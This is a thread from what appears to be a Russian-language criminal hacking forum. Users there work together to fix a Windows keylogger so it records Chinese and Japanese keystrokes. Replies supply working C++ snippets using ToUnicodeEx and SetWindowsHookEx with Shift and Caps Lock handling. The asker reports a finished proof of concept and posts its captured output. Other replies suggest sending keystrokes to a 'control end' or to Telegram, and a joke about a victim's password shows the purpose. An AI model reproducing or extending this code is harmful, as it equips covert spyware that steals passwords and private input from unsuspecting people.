• XSS.stack #1 – первый литературный журнал от юзеров форума

[need help] key logger multi-language

xChimera

Malware...
Пользователь
Регистрация
19.08.2024
Сообщения
781
Реакции
551
Гарант сделки
2
Депозит
0.0282
Пытаюсь сделать логирование нажатий клавиш, работает с английским языком отлично, но мне необходимо также парсить другой язык

Проще говоря:
Когда раскладка японская\китайская - необходимо получать соответствующие этим раскладкам символы

Код от нейронок не работает, пробовал разные нейронки

Пробовал с GetKeyboardLayout - результат тот же
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Когда раскладка японская\китайская - необходимо получать соответствующие этим раскладкам символы
Посмотри в сторону ToUnicodeEx, или как-то так называлась функция, но там еще нужно получить статус текущей раскладки и зажатых шифтов/капсов, и в функцию передать, поищи на гитхабе, у меня нет под рукой примера, но это - наверное, единственный рабочий вариант с несколькими раскладками и азиатскими языками. Непечатаемые комбинации клавиш придется обрабатывать отдельно.
 
Посмотри в сторону ToUnicodeEx, или как-то так называлась функция, но там еще нужно получить статус текущей раскладки и зажатых шифтов/капсов, и в функцию передать, поищи на гитхабе, у меня нет под рукой примера, но это - наверное, единственный рабочий вариант с несколькими раскладками и азиатскими языками. Непечатаемые комбинации клавиш придется обрабатывать отдельно.
Использовал эту функцию, тоже что то не получается


C++:
std::wstring vkCodeToString(DWORD vkCode)
{
    BYTE keyState[256];

    GetKeyboardState(keyState);

    WCHAR output[5];

    HKL hkl = GetKeyboardLayout(0);

    int nChars = ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, MAPVK_VK_TO_VSC),
                           keyState, output, 5, 0, hkl);

    // toupper

    debug_printf("char: %S\n", &output);
 
If you are getting raw keyboard stroke data, or normal key input data, then you can save the data intact and then hand it over to the control end for processing. It would be great to solve the encoding problem on the control end.
Я думал об этом, возможно так и сделаю, но все равно тогда нужно собирать раскладку, отлавливать ее переключение, все должно быть как то проще
 
case 936://gb2312 Chinese
codeToU = QTextCodec::codecForName("GBK");
break;
case 950://big5 Traditional Chinese
codeToU = QTextCodec::codecForName("Big5");
break;
case 932://shift_jis
codeToU = QTextCodec::codecForName("shift_jis");
break;
default:
codeToU = QTextCodec::codecForName("UTF-8");

You can set the code page in your code. this qt code.
 
case 936://gb2312 Chinese
codeToU = QTextCodec::codecForName("GBK");
break;
case 950://big5 Traditional Chinese
codeToU = QTextCodec::codecForName("Big5");
break;
case 932://shift_jis
codeToU = QTextCodec::codecForName("shift_jis");
break;
default:
codeToU = QTextCodec::codecForName("UTF-8");

You can set the code page in your code. this qt code.
Я пишу все в файл в utf16, не думаю что поможет
 
utf16, this seems to be wrong, because Chinese or Japanese should be encoded in their own way. After getting all the data, you can send it to the control end for encoding processing, which will be much simpler. You can make a switch case on the control end to make a judgment.
Я подумаю над этим, отпишу как сделал по факту

Если у кого то еще есть идеи - жду, было бы славно получить какой нибудь пример кода

Смотрел гитхаб - не нашел такой реализации, там в основном базовый кейлогер для английского языка, где каждый символ через case
 
Использовал эту функцию, тоже что то не получается


C++:
std::wstring vkCodeToString(DWORD vkCode)
{
    BYTE keyState[256];

    GetKeyboardState(keyState);

    WCHAR output[5];

    HKL hkl = GetKeyboardLayout(0);

    int nChars = ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, MAPVK_VK_TO_VSC),
                           keyState, output, 5, 0, hkl);

    // toupper

    debug_printf("char: %S\n", &output);
Да вроде норм

C++:
HKL hkl = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), &dwPid));
UINT uiFlags = 1 << 2;
WCHAR output[5] = {};
UINT sc = MapVirtualKeyExW(i, MAPVK_VK_TO_VSC_EX, hkl);
int result = ToUnicodeEx(i, sc, state, output, 4, uiFlags, hkl);

if (result > 0) {

    DWORD dwChars = _snwprintf_s(wszData, 64, L"Pid: %d, Key: %ws, hkl: 0x%08x\r\n", dwPid, output, hkl);

    OutputDebugStringW(wszData);
}
 

Вложения

  • klg.png
    klg.png
    65.1 КБ · Просмотры: 42
Да вроде норм
Кажись нашел решение проблемы:

Я использовал GetKeyboardLayout(0) что жестко привязывало к раскладке

При использовании кода ниже - работает корректно
GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), &dwPid));

Если я меняю раскладку через альтшифт при открытой консоли с этой программой - раскладка не меняется, но это не проблема

Вместо бесконечного цикла я использую SetWindowsHookExW и обработку в колбеке

Дополню решение позже
 
Осталось решить что с капсом делать
 
Осталось решить что с капсом делать
C++:
state[VK_SHIFT] = GetKeyState(VK_SHIFT);
state[VK_CAPITAL] = GetKeyState(VK_CAPITAL);

Перед ToUnicode
 
C++:
state[VK_SHIFT] = GetKeyState(VK_SHIFT);
state[VK_CAPITAL] = GetKeyState(VK_CAPITAL);

Перед ToUnicode
При быстром нажатии может не успеть обработать первый символ, щас по другому сделаю
 
Последнее редактирование:
Да вроде норм
keylogger_test.cpp
[ кликабельно ]

Released: ENTER
Pressed: ALT
Pressed: TAB
Released: TAB
Released: ALT
Key pressed: F
Key pressed: F
Released: SHIFT
Key pressed: f
Key pressed: f
Pressed: SHIFT
Key pressed: F
Key pressed: F
Released: SHIFT
Key pressed: f
Key pressed: f
Pressed: SHIFT
Key pressed: F
Key pressed: F
Key pressed: F
Released: SHIFT
Pressed: ALT
Pressed: TAB
Released: ALT
Released: TAB

Доделал POC целиком

Не использую вызовы в цикле, GetAsyncKeyState только на старте 4 вызова
Для логгинга клавиш - виндов хук

шифт капс - через тот же хук и сохранение состояния
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
If you press it quickly, it may not have time to process the first character, I'll do it differently now
i won't try to help anyone like you again was my bad
 
Последнее редактирование:
when i saw the topic i think why not using 3rd party to translate the characters from chinese to english so you have the Chinese character + the english character i am not sure if it's perfect method i never targeted this hard languages before , so i think you can use Telegram for this case and you can handle the fast CAPS and shift you can track both buttons status

Basic explanation in Python


Код:
# Track the state of the Shift and Caps Lock keys
shift_pressed = False
caps_lock_on = False
caps_lock_press_time = 0

def on_press(key):
    global shift_pressed, caps_lock_on, caps_lock_press_time

    # Check if Shift is pressed
    if key == keyboard.Key.shift:
        shift_pressed = True
        return

    # Check if Caps Lock is pressed
    if key == keyboard.Key.caps_lock:
        current_time = time.time()
        # Toggle Caps Lock state if pressed quickly
        if current_time - caps_lock_press_time < 0.2:  # 200 ms threshold
            caps_lock_on = not caps_lock_on
        caps_lock_press_time = current_time  # Update the last press time
        return

    try:
        # Determine if the key pressed is a character
        if hasattr(key, 'char') and key.char is not None:
            # Check if the character should be uppercase
            if (shift_pressed or caps_lock_on) and key.char.isalpha():
                character = key.char.upper()
            else:
                character = key.char.lower()

            # Log the key
            logging.info(f'Key pressed: {character}')
            # Translate the key
            translated = translator.translate(character, dest='en').text
            # Send to Telegram
            send_to_telegram(translated)

    except AttributeError:
        # Handle special keys
        logging.info(f'Special key pressed: {key}')
        send_to_telegram(f'Special key pressed: {key}')


hope this help
Хотел как-то прокоммментить но бл# я такого ещё нигде не видел - заюзать ТЕЛЕГРАМ в кейлоггере для ПЕРЕВОДА на китайский

 
hope this help

GPT code lol

Может быть ты хотя бы удалил комментарии, чтобы не палиться?

Использовать переводчик для каждого символа? Ахуеть
Был у китайца пароль для порносайта 魚林的樹草可卡因, а ты из него сделал "Рыба лес елка трава кокаин"
 
Пожалуйста, обратите внимание, что пользователь заблокирован
GPT code lol

Maybe you could at least delete the comments so as not to get caught?

Use a translator for each character? Holy shit
The Chinese had a password for a porn site called 魚林的樹草可卡因, and you turned it into "Fish forest fir tree grass cocaine"
yes it's GPT code did i said i write it my self ?! also you can just explain without need to be aggressive i mentioned i never worked something for this languages this was fast replay if you didn't like it it's fine but you don't have to make fun of me you don't know anything about me anyway thanks for explaining
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх